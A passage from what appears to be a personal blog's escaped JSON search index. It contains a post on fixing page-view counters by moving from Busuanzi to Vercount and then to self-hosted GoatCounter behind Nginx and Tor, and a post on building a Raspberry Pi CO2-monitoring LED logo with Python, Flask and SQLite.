rel=\u0026#34;alternate\u0026#34; type=\u0026#34;application/rss+xml\u0026#34; title=\u0026#34;RSS\u0026#34; class=\u0026#34;rss-link\u0026#34; style=\u0026#34;display:inline-flex;align-items:center;gap:.35rem;\u0026#34;\u0026gt; { partial \u0026#34;svg.html\u0026#34; (dict \u0026#34;name\u0026#34; \u0026#34;rss\u0026#34;) } \u0026lt;span\u0026gt;RSS\u0026lt;/span\u0026gt; \u0026lt;/a\u0026gt; \u0026lt;span aria-hidden=\u0026#34;true\u0026#34;\u0026gt;·\u0026lt;/span\u0026gt; \u0026lt;span id=\u0026#34;busuanzi_container_site_pv\u0026#34;\u0026gt; Site views: \u0026lt;span id=\u0026#34;busuanzi_value_site_pv\u0026#34;\u0026gt;—\u0026lt;/span\u0026gt; \u0026lt;/span\u0026gt; \u0026lt;span aria-hidden=\u0026#34;true\u0026#34;\u0026gt;·\u0026lt;/span\u0026gt; \u0026lt;span id=\u0026#34;busuanzi_container_site_uv\u0026#34;\u0026gt; Visitors: \u0026lt;span id=\u0026#34;busuanzi_value_site_uv\u0026#34;\u0026gt;—\u0026lt;/span\u0026gt; \u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; So far, so good. The labels showed up. The numbers, though? Nothing. Just an em dash. I shrugged—maybe it was a caching thing.\nThe first round of checks I added the script site‑wide in layouts/partials/extend_head.html:\n\u0026lt;script src=\u0026#34;//cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js\u0026#34; defer\u0026gt;\u0026lt;/script\u0026gt; Refreshed. Still blank.\nDevTools time. Network tab: the script does load:\nRequest URL: https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js Request Method: GET Status Code: 304 Not Modified Referrer Policy: strict-origin-when-cross-origin User-Agent: a normal Chromium build (nothing exotic) No red flags. Just a perfectly normal 304.\nMaybe my IDs were wrong? Busuanzi has a couple of flavors: busuanzi_value_* (with container wrappers) or shorthand like busuanzi_site_pv. I tried both, carefully, one at a time. Still… —.\nThe odd message Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right:\n“域名过长，已被禁用 views”\nThat’s “domain name too long, disabled.” Wait, what?\nI checked my hostname: blog.alipourimjourneys.ir. I counted: 27 characters. Busuanzi’s limit? 22. Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill.\nTwo ways out At this point I had two clean options:\nKeep Busuanzi and move the site to the apex domain (short enough). Keep my beloved blog. subdomain and swap in Vercount, a Busuanzi‑style drop‑in without the 22‑char limit. I liked the subdomain (habit, mostly), so I tried Vercount.\nThe swap (five-minute fix) I removed the Busuanzi script and added Vercount instead:\n\u0026lt;!-- extend_head.html --\u0026gt; \u0026lt;script defer src=\u0026#34;https://events.vercount.one/js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; I kept the same tidy footer row, but switched the IDs to Vercount’s:\n\u0026lt;div class=\u0026#34;site-meta-row\u0026#34; style=\u0026#34;display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;\u0026#34;\u0026gt; \u0026lt;a href=\u0026#34;/index.xml\u0026#34; rel=\u0026#34;alternate\u0026#34; type=\u0026#34;application/rss+xml\u0026#34; title=\u0026#34;RSS\u0026#34; class=\u0026#34;rss-link\u0026#34; style=\u0026#34;display:inline-flex;align-items:center;gap:.35rem;\u0026#34;\u0026gt; { partial \u0026#34;svg.html\u0026#34; (dict \u0026#34;name\u0026#34; \u0026#34;rss\u0026#34;) } \u0026lt;span\u0026gt;RSS\u0026lt;/span\u0026gt; \u0026lt;/a\u0026gt; \u0026lt;span aria-hidden=\u0026#34;true\u0026#34;\u0026gt;·\u0026lt;/span\u0026gt; \u0026lt;span\u0026gt;Site views: \u0026lt;span id=\u0026#34;vercount_value_site_pv\u0026#34;\u0026gt;—\u0026lt;/span\u0026gt;\u0026lt;/span\u0026gt; \u0026lt;span aria-hidden=\u0026#34;true\u0026#34;\u0026gt;·\u0026lt;/span\u0026gt; \u0026lt;span\u0026gt;Visitors: \u0026lt;span id=\u0026#34;vercount_value_site_uv\u0026#34;\u0026gt;—\u0026lt;/span\u0026gt;\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; For per‑post counts (in the post meta), I added:\n\u0026lt;span id=\u0026#34;vercount_value_page_pv\u0026#34;\u0026gt;—\u0026lt;/span\u0026gt; views Deploy. Refresh. Numbers.\nBut if you want to stay with Busuanzi… If your apex domain is short enough, pointing the site there works fine. The gist:\nSet baseURL in Hugo to the apex:\nbaseURL = \u0026#34;https://alipourimjourneys.ir/\u0026#34; Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool).\nKeep your Busuanzi spans as you had them; once the host fits the limit, they’ll populate.\nPost‑mortem checklist (a.k.a. things I learned) If the script loads but you get blanks, it’s not always IDs or caching. Sometimes it’s a service rule. Busuanzi refuses long hostnames (\u0026gt;22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note. Don’t mix providers on the same page. Load exactly one script (Busuanzi or Vercount). CSP and blockers matter. If you run a strict Content‑Security‑Policy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin. Happy ending Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles.\nIf you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution you’ll feel weirdly proud of.\nFinal notes Yea\u0026hellip; I just felt this feature was missing, and it\u0026rsquo;s good to have it there. I hope I stop adding things to the blog, and just keep writing in it. I\u0026rsquo;ve spent too much time on it, and it feels like wasted time.\nChange of plans: Self‑hosting GoatCounter for PaperMod (Docker + Cloudflare + Onion) This is the self‑host part I ended up with: Docker for GoatCounter, Cloudflare (orange‑cloud) in front, Nginx on the server as reverse proxy, plus my .onion mirror counting to the same GoatCounter site. Paste this whole section at the end of the post.\n1) Clean up old counters (optional, once) # From your Hugo site root grep -RinE \u0026#34;busuanzi|vercount|vercount_value_|busuanzi_value_\u0026#34; . Remove any matching \u0026lt;script\u0026gt; and leftover *_value_* spans you no longer want.\n2) Run GoatCounter with Docker Compose Minimal docker-compose.yml in ~/goatcounter:\nservices: goatcounter: image: arp242/goatcounter:2.6 container_name: goatcounter ports: - \u0026#34;127.0.0.1:8081:8080\u0026#34; # bind only to localhost; nginx will proxy volumes: - goatcounter-data:/home/goatcounter/goatcounter-data restart: unless-stopped volumes: goatcounter-data: {} Start:\ndocker compose pull \u0026amp;\u0026amp; docker compose up -d Initialize the site (replace email if needed):\ndocker compose exec goatcounter goatcounter db create site -vhost=statsblog.alipourimjourneys.ir -user.email=iman.alip2001@gmail.com If you ever see “no site at this domain” on localhost: use the exact vhost above.\n3) Cloudflare + Origin certificate (CF → origin TLS) DNS: statsblog.alipourimjourneys.ir → server IP (proxied/orange). SSL/TLS mode: Full (strict). Issue a Cloudflare Origin Certificate for statsblog.alipourimjourneys.ir and save on the server: sudo mkdir -p /etc/ssl/cloudflare sudo nano /etc/ssl/cloudflare/origin.crt # paste PEM sudo nano /etc/ssl/cloudflare/origin.key # paste key sudo chown root:root /etc/ssl/cloudflare/origin.{crt,key} sudo chmod 644 /etc/ssl/cloudflare/origin.crt sudo chmod 600 /etc/ssl/cloudflare/origin.key 4) Nginx vhost for the stats subdomain # /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf server { listen 80; server_name statsblog.alipourimjourneys.ir; return 301 https://$host$request_uri; } server { listen 443 ssl http2; server_name statsblog.alipourimjourneys.ir; ssl_certificate /etc/ssl/cloudflare/origin.crt; ssl_certificate_key /etc/ssl/cloudflare/origin.key; # Proxy to the container on localhost proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; location / { proxy_pass http://127.0.0.1:8081; } } Enable \u0026amp; reload:\nsudo ln -s /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf /etc/nginx/sites-enabled/ sudo nginx -t \u0026amp;\u0026amp; sudo systemctl reload nginx 5) Hugo integration (clearnet + onion, singular/plural + “0 views”) Self‑host count.js so the onion mirror never fetches a third‑party script:\nSave the official count.js as static/js/count.js in your Hugo repo. Then add this to layouts/partials/extend_head.html (loader + helper):\n\u0026lt;!-- Loader: choose endpoint based on hostname --\u0026gt; \u0026lt;script\u0026gt; (function () { var ONION = /\\.onion$/i.test(location.hostname); window.goatcounter = { endpoint: ONION ? \u0026#39;/count\u0026#39; : \u0026#39;https://statsblog.alipourimjourneys.ir/count\u0026#39; }; var s = document.createElement(\u0026#39;script\u0026#39;); s.async = true; s.src = \u0026#39;/js/count.js\u0026#39;; document.head.appendChild(s); })(); \u0026lt;/script\u0026gt; \u0026lt;!-- Helper: inline meta counts (post pages + lists) and totals --\u0026gt; \u0026lt;script\u0026gt; (function () { const ONION = /\\.onion$/i.test(location.hostname); const GC_HOST = ONION ? \u0026#39;\u0026#39; : \u0026#39;https://statsblog.alipourimjourneys.ir\u0026#39;; // \u0026#39;\u0026#39; = same-origin on .onion const SING=\u0026#39;view\u0026#39;, PLUR=\u0026#39;views\u0026#39;; const nf = new Intl.NumberFormat(); function ready(fn){ if (document.readyState !== \u0026#39;loading\u0026#39;) fn(); else document.addEventListener(\u0026#39;DOMContentLoaded\u0026#39;, fn); } function gcPath(){ try { return (window.goatcounter \u0026amp;\u0026amp; window.goatcounter.get_data) ? window.goatcounter.get_data().p : location.pathname; } catch { return location.pathname; } } async function fetchCount(path){ try { const r = await fetch(`${GC_HOST}/counter/${encodeURIComponent(path)}.json?t=${Date.now()}`, { credentials:\u0026#39;omit\u0026#39; }); if (r.status === 404) return 0; if (!r.ok) throw 0; const j = await r.json(); const n = Number(String(j.count).replace(/,/g,\u0026#39;\u0026#39;)); return Number.isFinite(n) ? n : 0; } catch { return null; } } const label = (n) =\u0026gt; (n === null ? \u0026#39;—\u0026#39; : `${nf.format(n)} ${n === 1 ? SING : PLUR}`); ready(async function () { // A) Single post: add to existing meta row + small bottom const post = document.querySelector(\u0026#39;.post-single\u0026#39;); if (post) { const meta = post.querySelector(\u0026#39;.post-header .post-meta, .post-header .entry-meta, .post-meta\u0026#39;); const path = gcPath(); const n = await fetchCount(path); if (meta) { let span = meta.querySelector(\u0026#39;.post-views\u0026#39;); if (!span) { span = document.createElement(\u0026#39;span\u0026#39;); span.className=\u0026#39;post-views\u0026#39;; meta.appendChild(span); } span.textContent = label(n ?? 0); } const after = post.querySelector(\u0026#39;.post-content\u0026#39;) || post; let bottom = post.querySelector(\u0026#39;.post-views-bottom\u0026#39;); if (!bottom) { bottom = document.createElement(\u0026#39;div\u0026#39;); bottom.className=\u0026#39;post-views-bottom\u0026#39;; after.insertAdjacentElement(\u0026#39;afterend\u0026#39;, bottom); } bottom.textContent = label(n ?? 0); } // B) Lists (/posts, home, sections): show “0 views” instead of hiding const cards = document.querySelectorAll(\u0026#39;article.post-entry\u0026#39;); await Promise.all(Array.from(cards).map(async (card) =\u0026gt; { const meta = card.querySelector(\u0026#39;.entry-footer, .post-meta\u0026#39;); const link = card.querySelector(\u0026#39;a.entry-link, h2 a, .entry-title a\u0026#39;); if (!meta || !link) return; try { const u = new URL(link.getAttribute(\u0026#39;href\u0026#39;), location.origin); if (u.origin !== location.origin) return; let span = meta.querySelector(\u0026#39;.post-views\u0026#39;); if (!span) { span = document.createElement(\u0026#39;span\u0026#39;); span.className=\u0026#39;post-views\u0026#39;; meta.appendChild(span); } const n = await fetchCount(u.pathname); span.textContent = label(n ?? 0); } catch {} })); // C) Site totals (optional placeholders) const pvEl = document.getElementById(\u0026#39;vercount_value_site_pv\u0026#39;); if (pvEl) { const n = await fetchCount(\u0026#39;TOTAL\u0026#39;); pvEl.textContent = (n===null) ? \u0026#39;—\u0026#39; : nf.format(n); } }); })(); \u0026lt;/script\u0026gt; Style so meta items stay inline with middle dots (PaperMod‑like). Put this in assets/css/extended/goatcounter.css:\n.post-single .post-header .post-meta, .post-single .post-header .entry-meta, .post-entry .entry-footer, .post-entry .post-meta { display:flex; align-items:center; flex-wrap:wrap; gap:.35rem; } .post-single .post-header .post-meta \u0026gt; *, .post-single .post-header .entry-meta \u0026gt; *, .post-entry .entry-footer \u0026gt; *, .post-entry .post-meta \u0026gt; * { display:inline-flex; align-items:center; white-space:nowrap; } .post-single .post-header .post-meta \u0026gt; * + *::before, .post-single .post-header .entry-meta \u0026gt; * + *::before, .post-entry .entry-footer \u0026gt; * + *::before, .post-entry .post-meta \u0026gt; * + *::before { content:\u0026#34;·\u0026#34;; margin:0 .5rem; opacity:.6; } .post-views-bottom { margin:.6rem 0 0; opacity:.75; font-size:.95em; } 6) Count Tor (.onion) visits into the same site In the .onion server block, proxy GoatCounter endpoints to the same site by forcing the Host header:\n# inside: server { ... } for fjthpp2h3mj2r....onion location = /count { proxy_pass http://127.0.0.1:8081/count; proxy_set_header Host statsblog.alipourimjourneys.ir; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto http; # onion is http } location /counter/ { proxy_pass http://127.0.0.1:8081/counter/; proxy_set_header Host statsblog.alipourimjourneys.ir; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto http; add_header Cache-Control \u0026#34;no-store\u0026#34;; proxy_no_cache 1; proxy_cache_bypass 1; } Because the loader above sets window.goatcounter.endpoint to /count on .onion, both hits and reads stay on the onion origin and are tallied into the same GoatCounter site.\nNote on DNT/Tor: Tor Browser sends DNT: 1. GoatCounter respects DNT by default, so Tor users won’t be counted unless you disable “Respect Do Not Track” in GoatCounter settings. Your choice; I left the code compatible either way.\n7) Troubleshooting quick notes 400 “no site at this domain” → create the site with -vhost=statsblog.alipourimjourneys.ir or fix your proxy Host header. Counts don’t change on onion → verify Tor path via torsocks, watch logs: docker compose logs -f goatcounter # look for “ignored: bot” (curl UA), or DNT being respected DevTools sanity → on clearnet you should see https://statsblog…/count and …/counter/*.json; on onion you should see /count and /counter/*.json (same‑origin). That’s it. One dashboard; clearnet + onion both increment; tiny inline counters everywhere.\nHonestly, self-hosting GoatCounter wasn\u0026rsquo;t as straightforward as I thought it would be. It almost made me cry a few times. I definitly thought about my life choices a few times along the way. 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It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.","title":"A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --\u003e swapped with GoatCounter the GOAT)"},{"content":" I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D\nThe Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it\u0026rsquo;s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!\nSo I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.\nThis post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I\u0026rsquo;ll try to include as much detail as I can.\n1) Sketch → CAD → Print I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:\nMounting bosses for the front diffusers (M2 screws), Cable holes between chambers (rounded to avoid cutting silicone wire), and A small wiring bay for the controller and power. I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.\nThe design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.\n2) The Look I Wanted I wasn\u0026rsquo;t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I\u0026rsquo;m happy with it and want to let it be there doing it\u0026rsquo;s job.\n3) The Tidy Mess Behind the Panel Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:\nA 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers. A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot. I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.\nThe soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won\u0026rsquo;t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD\n4) A Web Panel that Stays Out of the Way The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.\nThere’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it\u0026rsquo;s not funny for anyone to fidn this out when looking at your creation. So\u0026hellip; yea, I took precautions not to see people getting seizures looking at my creation. :-)\n5) The Color Language for Air The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:\n\u0026lt; 500 ppm: Cyan — outdoor‑like fresh air. 500–799: Green — good. 800–1199: Yellow — getting stale. 1200–1499: Orange — poor; you’ll feel it. 1500–1999: Red — ventilate now. ≥ 2000: Purple — the logo is politely yelling. I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.\nBy default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it\u0026rsquo;s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it\u0026rsquo;s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.\n6) The Code — a guided tour (no giant blob, promise) This whole project runs from a single Python file. Think of it like a tiny orchestra:\none thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.\nBelow is what each section does, with just enough code to be useful (and not enough to make your eyes cross).\n6.1 Configuration (the knobs) Let\u0026rsquo;s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.\nLED_COUNT=78, LED_PIN=18, LED_BRIGHT=255 SCHEDULE_PATH=\u0026#34;schedule.json\u0026#34; DB_PATH=\u0026#34;sensor.db\u0026#34; SAFE_MODE=True # hide flashy animations by default Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.\n6.2 Strip setup + frame-diff (no flicker magic) Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.\nframe = [(0,0,0)] * LED_COUNT _dirty = False def _set_pixel(i, r, g, b): # only touch hardware if the value actually changed if frame[i] != (r,g,b): strip.setPixelColorRGB(i, r, g, b) frame[i] = (r,g,b) global _dirty; _dirty = True def flush(): if _dirty: strip.show(); _dirty=False Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.\n6.3 A tiny color wheel helper Classic rainbow helper used by a few animations:\ndef wheel(pos): # 0..255 → (r,g,b) ... Why it’s like this: I\u0026rsquo;ll use it again and again; it keeps color math out of the animations.\n6.4 State \u0026amp; orchestration Let\u0026rsquo;s hold a registry of animations, a stop flag, and the currently playing thread.\nanimations = {} stop_event = threading.Event() current_thread = None def register(name, safe=True): def wrap(fn): animations[name] = {\u0026#34;fn\u0026#34;: fn, \u0026#34;safe\u0026#34;: safe} return fn return wrap def run_animation(fn): # cooperative hand-off: stop current, start next if current_thread and current_thread.is_alive(): stop_event.set(); current_thread.join() stop_event.clear() t = threading.Thread(target=fn, name=fn.__name__, daemon=True) t.start(); globals()[\u0026#34;current_thread\u0026#34;] = t Why it’s like this: adding a new animation is a one-liner @register(\u0026quot;name\u0026quot;). Clean exits prevent torn frames and half-drawn comets.\n6.5 Animations (the mood) Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().\nredpulse — calm breathing in red; great default. colorwave — slow rainbow that reads clearly behind diffusers. comet — a single head with a fading tail orbiting the logo. They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.\nWhy it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.\n6.6 CO₂ color language (with smoothing + hysteresis) The star of the show. Now map ppm to color bands and keep transitions human-pleasant.\n\u0026lt; 500: Cyan (fresh) 500–799: Green 800–1199: Yellow 1200–1499: Orange 1500–1999: Red ≥ 2000: Purple BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,∞,(123,44,191))] EMA_ALPHA=0.15; HYST=35 # Every tick: ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2 band = hysteresis_aware_band(ema, last_band, HYST) target = BANDS[band].color current = lerp(current, target, 0.10) # gentle hue easing level = breathe(0.25 Hz, low=10, high=220) draw all pixels = current * level Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.\n6.7 Optional SCD41 sensor thread (the polite listener) If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.\ndef _start_sensor(): try: scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement() except: return # sensor optional def loop(): while True: time.sleep(5) if scd4x.data_ready: co2_data.update({...}) db.insert(timestamp, co2, temperature, humidity) threading.Thread(target=loop, daemon=True).start() Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.\n6.8 Scheduler + 90-minute override (humans win, then reset) A background thread asks, every few seconds, which mode should be running:\nIf the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI). Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse). Save/load the schedule atomically to schedule.json. def scheduler_pick(): if now \u0026lt; override_until: return override_mode for row in load_schedule(): if matches(now, row): return row[\u0026#34;mode\u0026#34;] return \u0026#34;redpulse\u0026#34; Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.\n6.9 The web panel (tiny Flask, big buttons) Three pages, no fuss:\n/status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity. /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation. /schedule — simple table editor; Add Row and Save; writes atomically. @app.post(\u0026#34;/set\u0026#34;) def set_mode(): mode = request.form[\u0026#34;mode\u0026#34;] minutes = clamp( int(form[\u0026#34;duration\u0026#34;]), 0, 180 ) set_override(mode, minutes) run_animation(animations[mode][\u0026#34;fn\u0026#34;]) return redirect(\u0026#34;/control\u0026#34;) Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.\n6.10 Boot choreography At startup I:\nTry the sensor thread (if hardware is there). Start the scheduler thread. Immediately play redpulse (so there’s a friendly glow right away). Start Flask; on shutdown I clear the strip. if __name__ == \u0026#34;__main__\u0026#34;: _start_sensor() threading.Thread(target=scheduler_loop, daemon=True).start() run_animation(redpulse) app.run(host=\u0026#34;0.0.0.0\u0026#34;, port=5000) Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.\nTL;DR (but keep the vibes) Frame-diff = no flashes. EMA + hysteresis = smooth, truthful color. Breathing = presence, not signage. Threads per thing (LEDs / sensor / scheduler) = no fights. Atomic files = no corrupted schedules. Safe Mode by default = people \u0026gt; pixels. That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.\nWhy this shape of code? One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights. Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests. Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule. No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don\u0026rsquo;t you agree?\n7) Sensor Database — what it stores, where it lives, and how far it goes This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.\nWhat’s stored A single table called readings:\nCREATE TABLE IF NOT EXISTS readings ( timestamp TEXT PRIMARY KEY, -- \u0026#34;YYYY-MM-DD HH:MM:SS\u0026#34; co2 INTEGER, -- ppm temperature REAL, -- °C humidity REAL -- % ); One row per sample (typically every 5–60 seconds; slow it down to reduce writes). timestamp is the primary key → easy “latest” queries and natural time ordering. Where the file lives Path is configurable via env var DB_PATH (see your systemd unit). Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db). Check size:\nls -lh /home/pi/inet-led/sensor.db How writes happen (and why it’s safe) The sensor thread owns I²C and inserts a row only when the sensor reports data_ready. Inserts are short and journaling protects against power loss. For friendlier read/write concurrency, enable WAL once at startup: PRAGMA journal_mode = WAL; PRAGMA synchronous = NORMAL; Typical size \u0026amp; retention Back-of-envelope:\n~100–200 bytes per row (including overhead). 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day → 55–110 MB/year. If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling). Prune old data (keep last 90 days):\nDELETE FROM readings WHERE timestamp \u0026lt; date(\u0026#39;now\u0026#39;,\u0026#39;-90 day\u0026#39;); (Optionally run VACUUM; after large deletes to reclaim file space.)\nUseful queries Latest reading:\nSELECT * FROM readings ORDER BY timestamp DESC LIMIT 1; Range for charts (last 7 days):\nSELECT * FROM readings WHERE timestamp \u0026gt;= datetime(\u0026#39;now\u0026#39;,\u0026#39;-7 day\u0026#39;) ORDER BY timestamp; Downsample to hourly averages (30 days):\nSELECT strftime(\u0026#39;%Y-%m-%d %H:00:00\u0026#39;, timestamp) AS hour, AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h FROM readings WHERE timestamp \u0026gt;= datetime(\u0026#39;now\u0026#39;,\u0026#39;-30 day\u0026#39;) GROUP BY hour ORDER BY hour; Export to CSV (example via sqlite3 CLI):\nsqlite3 /home/pi/inet-led/sensor.db \u0026lt;\u0026lt;\u0026#39;SQL\u0026#39; .headers on .mode csv .output /home/pi/inet-led/export_readings.csv SELECT * FROM readings ORDER BY timestamp; .output stdout SQL SD card friendliness Choose a sensible interval (e.g., 30–60 s). Optionally buffer in memory and write every N samples. Prefer WAL mode; periodically prune \u0026amp; vacuum. If you care about card wear, place the DB on USB/SSD. Backups \u0026amp; restore Nightly backup (simple):\nsqlite3 /home/pi/inet-led/sensor.db \u0026#34;.backup \u0026#39;/home/pi/backup/sensor-$(date +%F).db\u0026#39;\u0026#34; Restore:\nsudo systemctl stop inet-led Copy backup file back to /home/pi/inet-led/sensor.db sudo systemctl start inet-led Security \u0026amp; permissions chown pi:pi /home/pi/inet-led/sensor.db chmod 600 /home/pi/inet-led/sensor.db Keep the app directory non-world-readable.\nIs SQLite the right choice? Yes, for a single Pi logging every few seconds and rendering local charts:\n✅ Zero admin, a single file, reliable journaling, great performance at this scale. ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine). ⬆️ If you later need multi-device ingestion, alerts, or \u0026gt;10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports. TL;DR SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.\n8) Run at Boot (systemd) I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:\n[Unit] Description=INET LED Panel After=network.target [Service] ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py WorkingDirectory=/home/pi/inet-led Restart=always User=pi Environment=LED_COUNT=78 Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json Environment=DB_PATH=/home/pi/inet-led/sensor.db [Install] WantedBy=multi-user.target Then you can run:\nsudo systemctl daemon-reload sudo systemctl enable --now inet-led journalctl -u inet-led -f to control the systemd service.\n9) Soldering Notes (a love letter to hot glue) Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads. Stagger joints so nothing stacks under the diffuser. Heat‑shrink + a dot of hot glue = happier future you. Continuity before power. Multimeter first, electrons last. If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, 